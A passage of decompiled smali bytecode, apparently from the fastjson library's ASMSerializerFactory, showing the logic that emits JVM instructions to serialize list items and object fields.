                                                567invoke-interface {v1, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                568new-instance v4, Lcom/alibaba/fastjson/asm/Label;
                                                570invoke-direct {v4}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                571new-instance v8, Lcom/alibaba/fastjson/asm/Label;
                                                573invoke-direct {v8}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                574if-eqz v14, :cond_47a
                                                576invoke-virtual {v14}, Ljava/lang/Class;->getModifiers()I
                                                577move-result v10
                                                579invoke-static {v10}, Ljava/lang/reflect/Modifier;->isPublic(I)Z
                                                580move-result v10
                                                581if-eqz v10, :cond_47a
                                                583invoke-virtual {v3, v6}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                584move-result v10
                                                585const/16 v11, 0x19
                                                587invoke-interface {v1, v11, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                589const-string v10, "java/lang/Object"
                                                591const-string v11, "getClass"
                                                593const-string v12, "()Ljava/lang/Class;"
                                                594move-object/from16 v24, v2
                                                595const/16 v2, 0xb6
                                                597invoke-interface {v1, v2, v10, v11, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                599invoke-static {v14}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                600move-result-object v2
                                                602invoke-static {v2}, Lcom/alibaba/fastjson/asm/Type;->getType(Ljava/lang/String;)Lcom/alibaba/fastjson/asm/Type;
                                                603move-result-object v2
                                                605invoke-interface {v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                606const/16 v2, 0xa6
                                                608invoke-interface {v1, v2, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                610invoke-direct {v0, v3, v1, v13, v14}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_getListFieldItemSer(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;Ljava/lang/Class;)V
                                                612const-string v2, "list_item_desc"
                                                614invoke-virtual {v3, v2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                615move-result v2
                                                616const/16 v10, 0x3a
                                                618invoke-interface {v1, v10, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                619new-instance v2, Lcom/alibaba/fastjson/asm/Label;
                                                621invoke-direct {v2}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                622new-instance v10, Lcom/alibaba/fastjson/asm/Label;
                                                624invoke-direct {v10}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                626invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$000(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                627move-result v11
                                                628if-eqz v11, :cond_408
                                                630const-string v11, "list_item_desc"
                                                632invoke-virtual {v3, v11}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                633move-result v11
                                                634const/16 v12, 0x19
                                                636invoke-interface {v1, v12, v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                637const/16 v11, 0xc1
                                                639sget-object v12, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JavaBeanSerializer:Ljava/lang/String;
                                                641invoke-interface {v1, v11, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitTypeInsn(ILjava/lang/String;)V
                                                642const/16 v11, 0x99
                                                644invoke-interface {v1, v11, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                646const-string v11, "list_item_desc"
                                                648invoke-virtual {v3, v11}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                649move-result v11
                                                650const/16 v12, 0x19
                                                652invoke-interface {v1, v12, v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                653const/16 v11, 0xc0
                                                655sget-object v0, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JavaBeanSerializer:Ljava/lang/String;
                                                657invoke-interface {v1, v11, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitTypeInsn(ILjava/lang/String;)V
                                                658const/4 v0, 0x1
                                                660invoke-interface {v1, v12, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                662invoke-virtual {v3, v6}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                663move-result v11
                                                665invoke-interface {v1, v12, v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                667invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$200(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                668move-result v11
                                                669if-eqz v11, :cond_3b4
                                                671invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                672move-object/from16 v16, v7
                                                673goto/16 :goto_3ca
                                                674cond_3b4:
                                                675invoke-virtual {v3, v15}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                676move-result v0
                                                677const/16 v11, 0x15
                                                679invoke-interface {v1, v11, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                680const/16 v0, 0xb8
                                                682const-string v11, "java/lang/Integer"
                                                684const-string v12, "valueOf"
                                                685move-object/from16 v16, v7
                                                687const-string v7, "(I)Ljava/lang/Integer;"
                                                689invoke-interface {v1, v0, v11, v12, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                690goto_3ca:
                                                691invoke-static {v14}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                692move-result-object v0
                                                694invoke-static {v0}, Lcom/alibaba/fastjson/asm/Type;->getType(Ljava/lang/String;)Lcom/alibaba/fastjson/asm/Type;
                                                695move-result-object v0
                                                697invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                698iget v0, v13, Lcom/alibaba/fastjson/util/FieldInfo;->serialzeFeatures:I
                                                700invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                701move-result-object v0
                                                703invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                705sget-object v0, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JavaBeanSerializer:Ljava/lang/String;
                                                706new-instance v7, Ljava/lang/StringBuilder;
                                                708invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                                                710const-string v11, "(L"
                                                712invoke-virtual {v7, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                714sget-object v11, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                716invoke-virtual {v7, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                718const-string v11, ";Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V"
                                                720invoke-virtual {v7, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                722invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                723move-result-object v7
                                                725const-string v11, "writeAsArrayNonContext"
                                                726const/16 v12, 0xb6
                                                728invoke-interface {v1, v12, v0, v11, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                729const/16 v0, 0xa7
                                                731invoke-interface {v1, v0, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                733invoke-interface {v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                734goto/16 :goto_40a
                                                735cond_408: move-object/from16 v16, v7
                                                736goto_40a:
                                                737const-string v0, "list_item_desc"
                                                739invoke-virtual {v3, v0}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                740move-result v0
                                                741const/16 v2, 0x19
                                                743invoke-interface {v1, v2, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                744const/4 v0, 0x1
                                                746invoke-interface {v1, v2, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                748invoke-virtual {v3, v6}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                749move-result v7
                                                751invoke-interface {v1, v2, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                753invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$200(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                754move-result v2
                                                755if-eqz v2, :cond_42a
                                                757invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                758goto/16 :goto_43e
                                                759cond_42a:
                                                760invoke-virtual {v3, v15}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                761move-result v0
                                                762const/16 v2, 0x15
                                                764invoke-interface {v1, v2, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                765const/16 v0, 0xb8
                                                767const-string v2, "java/lang/Integer"
                                                769const-string v7, "valueOf"
                                                771const-string v11, "(I)Ljava/lang/Integer;"
                                                773invoke-interface {v1, v0, v2, v7, v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                774goto_43e:
                                                775invoke-static {v14}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                776move-result-object v0
                                                778invoke-static {v0}, Lcom/alibaba/fastjson/asm/Type;->getType(Ljava/lang/String;)Lcom/alibaba/fastjson/asm/Type;
                                                779move-result-object v0
                                                781invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                782iget v0, v13, Lcom/alibaba/fastjson/util/FieldInfo;->serialzeFeatures:I
                                                784invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                785move-result-object v0
                                                787invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                788const/16 v0, 0xb9
                                                790sget-object v2, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->ObjectSerializer:Ljava/lang/String;
                                                791new-instance v7, Ljava/lang/StringBuilder;
                                                793invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                                                795const-string v11, "(L"
                                                797invoke-virtual {v7, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                799sget-object v11, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                801invoke-virtual {v7, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                803const-string v11, ";Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V"
                                                805invoke-virtual {v7, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                807invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                808move-result-object v7
                                                810invoke-interface {v1, v0, v2, v9, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                812invoke-interface {v1, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                813const/16 v0, 0xa7
                                                815invoke-interface {v1, v0, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                816goto/16 :goto_47e
                                                817cond_47a: move-object/from16 v24, v2
                                                818move-object/from16 v16, v7
                                                819goto_47e:
                                                820invoke-interface {v1, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                821const/4 v0, 0x1
                                                822const/16 v2, 0x19
                                                824invoke-interface {v1, v2, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                826invoke-virtual {v3, v6}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                827move-result v6
                                                829invoke-interface {v1, v2, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                831invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$200(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                832move-result v2
                                                833if-eqz v2, :cond_498
                                                835invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                836goto/16 :goto_4ac
                                                837cond_498:
                                                838invoke-virtual {v3, v15}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                839move-result v0
                                                840const/16 v2, 0x15
                                                842invoke-interface {v1, v2, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                843const/16 v0, 0xb8
                                                845const-string v2, "java/lang/Integer"
                                                847const-string v6, "valueOf"
                                                849const-string v7, "(I)Ljava/lang/Integer;"
                                                851invoke-interface {v1, v0, v2, v6, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                852goto_4ac: if-eqz v14, :cond_4da
                                                854invoke-virtual {v14}, Ljava/lang/Class;->getModifiers()I
                                                855move-result v0
                                                857invoke-static {v0}, Ljava/lang/reflect/Modifier;->isPublic(I)Z
                                                858move-result v0
                                                859if-eqz v0, :cond_4da
                                                860check-cast v5, Ljava/lang/Class;
                                                862invoke-static {v5}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                863move-result-object v0
                                                865invoke-static {v0}, Lcom/alibaba/fastjson/asm/Type;->getType(Ljava/lang/String;)Lcom/alibaba/fastjson/asm/Type;
                                                866move-result-object v0
                                                868invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                869iget v0, v13, Lcom/alibaba/fastjson/util/FieldInfo;->serialzeFeatures:I
                                                871invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                872move-result-object v0
                                                874invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                876sget-object v0, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                878const-string v2, "writeWithFieldName"
                                                880const-string v5, "(Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/reflect/Type;I)V"
                                                881const/16 v6, 0xb6
                                                883invoke-interface {v1, v6, v0, v2, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                884goto/16 :goto_4e5
                                                885cond_4da: const/16 v6, 0xb6
                                                887sget-object v0, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                889const-string v2, "writeWithFieldName"
                                                891const-string v5, "(Ljava/lang/Object;Ljava/lang/Object;)V"
                                                893invoke-interface {v1, v6, v0, v2, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                894goto_4e5:
                                                895invoke-interface {v1, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                896move-object/from16 v0, v16
                                                898invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                900invoke-virtual {v3, v15}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                901move-result v0
                                                902const/4 v2, 0x1
                                                904invoke-interface {v1, v0, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitIincInsn(II)V
                                                905move-object/from16 v0, v24
                                                906const/16 v2, 0xa7
                                                908invoke-interface {v1, v2, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                909move-object/from16 v0, v23
                                                911invoke-interface {v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                912move-object/from16 v0, v22
                                                914invoke-virtual {v3, v0}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                915move-result v2
                                                916const/16 v4, 0x19
                                                918invoke-interface {v1, v4, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                919const/16 v2, 0x5d
                                                920const/16 v5, 0x10
                                                922invoke-interface {v1, v5, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                924sget-object v2, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                925move-object/from16 v6, v21
                                                926const/16 v7, 0xb6
                                                928invoke-interface {v1, v7, v2, v9, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                929move-object/from16 v2, v17
                                                931invoke-interface {v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                932goto_521:
                                                933invoke-virtual {v3, v0}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                934move-result v2
                                                936invoke-interface {v1, v4, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                937move/from16 v12, v20
                                                939invoke-interface {v1, v5, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                941sget-object v2, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                943invoke-interface {v1, v7, v2, v9, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                944const/16 v4, 0x19
                                                945const/16 v8, 0xb6
                                                946move-object/from16 v2, p0
                                                947move-object v5, v6
                                                948const/16 v6, 0x10
                                                949goto/16 :goto_7e3
                                                950cond_53d: move-object v0, v4
                                                951move/from16 v18, v7
                                                952move-object v6, v8
                                                953move/from16 v19, v11
                                                954new-instance v2, Lcom/alibaba/fastjson/asm/Label;
                                                956invoke-direct {v2}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                957new-instance v4, Lcom/alibaba/fastjson/asm/Label;
                                                959invoke-direct {v4}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                960move-object/from16 v5, p0
                                                962invoke-direct {v5, v1, v3, v13}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_get(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;Lcom/alibaba/fastjson/util/FieldInfo;)V
                                                963const/16 v7, 0x59
                                                965invoke-interface {v1, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitInsn(I)V
                                                966new-instance v7, Ljava/lang/StringBuilder;
                                                968invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                                                970const-string v8, "field_"
                                                972invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                974iget-object v10, v13, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                976invoke-virtual {v10}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                977move-result-object v10
                                                979invoke-virtual {v7, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                981invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                982move-result-object v7
                                                984invoke-virtual {v3, v7}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                985move-result v7
                                                986const/16 v10, 0x3a
                                                988invoke-interface {v1, v10, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                989const/16 v7, 0xc7
                                                991invoke-interface {v1, v7, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                993invoke-virtual {v3, v0}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                994move-result v7
                                                995const/16 v10, 0x19
                                                997invoke-interface {v1, v10, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                999sget-object v7, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                1001const-string v10, "writeNull"
                                                1003const-string v11, "()V"
                                                1004const/16 v15, 0xb6
                                                1006invoke-interface {v1, v15, v7, v10, v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1007const/16 v7, 0xa7
                                                1009invoke-interface {v1, v7, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                1011invoke-interface {v1, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                1012new-instance v4, Lcom/alibaba/fastjson/asm/Label;
                                                1014invoke-direct {v4}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                1015new-instance v7, Lcom/alibaba/fastjson/asm/Label;
                                                1017invoke-direct {v7}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                1018new-instance v10, Ljava/lang/StringBuilder;
                                                1020invoke-direct {v10}, Ljava/lang/StringBuilder;-><init>()V
                                                1022invoke-virtual {v10, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1024iget-object v11, v13, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                1026invoke-virtual {v11}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                1027move-result-object v11
                                                1029invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1031invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1032move-result-object v10
                                                1034invoke-virtual {v3, v10}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                1035move-result v10
                                                1036const/16 v11, 0x19
                                                1038invoke-interface {v1, v11, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1040const-string v10, "java/lang/Object"
                                                1042const-string v11, "getClass"
                                                1044const-string v15, "()Ljava/lang/Class;"
                                                1045move-object/from16 v21, v6
                                                1046const/16 v6, 0xb6
                                                1048invoke-interface {v1, v6, v10, v11, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                1050invoke-static {v14}, Lcom/alibaba/fastjson/util/ASMUtils;->desc(Ljava/lang/Class;)Ljava/lang/String;
                                                1051move-result-object v6
                                                1053invoke-static {v6}, Lcom/alibaba/fastjson/asm/Type;->getType(Ljava/lang/String;)Lcom/alibaba/fastjson/asm/Type;
                                                1054move-result-object v6
                                                1056invoke-interface {v1, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                1057const/16 v6, 0xa6
                                                1059invoke-interface {v1, v6, v7}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                1061invoke-direct {v5, v3, v1, v13}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_getFieldSer(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;)V
                                                1063const-string v6, "fied_ser"
                                                1065invoke-virtual {v3, v6}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                1066move-result v6
                                                1067const/16 v10, 0x3a
                                                1069invoke-interface {v1, v10, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1070new-instance v6, Lcom/alibaba/fastjson/asm/Label;
                                                1072invoke-direct {v6}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                1073new-instance v10, Lcom/alibaba/fastjson/asm/Label;
                                                1075invoke-direct {v10}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                1077invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$000(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                1078move-result v11
                                                1079if-eqz v11, :cond_693
                                                1081invoke-virtual {v14}, Ljava/lang/Class;->getModifiers()I
                                                1082move-result v11
                                                1084invoke-static {v11}, Ljava/lang/reflect/Modifier;->isPublic(I)Z
                                                1085move-result v11
                                                1086if-eqz v11, :cond_693
                                                1088const-string v11, "fied_ser"
                                                1090invoke-virtual {v3, v11}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                1091move-result v11
                                                1092const/16 v15, 0x19
                                                1094invoke-interface {v1, v15, v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1095const/16 v11, 0xc1
                                                1097sget-object v15, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JavaBeanSerializer:Ljava/lang/String;
                                                1099invoke-interface {v1, v11, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitTypeInsn(ILjava/lang/String;)V
                                                1100const/16 v11, 0x99
                                                1102invoke-interface {v1, v11, v6}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                1104const-string v11, "fied_ser"
                                                1106invoke-virtual {v3, v11}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                1107move-result v11
                                                1108const/16 v15, 0x19
                                                1110invoke-interface {v1, v15, v11}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1111const/16 v11, 0xc0
                                                1113sget-object v5, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JavaBeanSerializer:Ljava/lang/String;
                                                1115invoke-interface {v1, v11, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitTypeInsn(ILjava/lang/String;)V
                                                1116const/4 v5, 0x1
                                                1118invoke-interface {v1, v15, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                1119new-instance v5, Ljava/lang/StringBuilder;
                                                1121invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                                1123invoke-virtual {v5, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1125iget-object v11, v13, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                1127invoke-virtual {v11}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                1128move-result-object v11
                                                1130invoke-virtual {v5, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                1132invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                1133move-result-object v5
                                                1135invoke-virtual {v3, v5}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
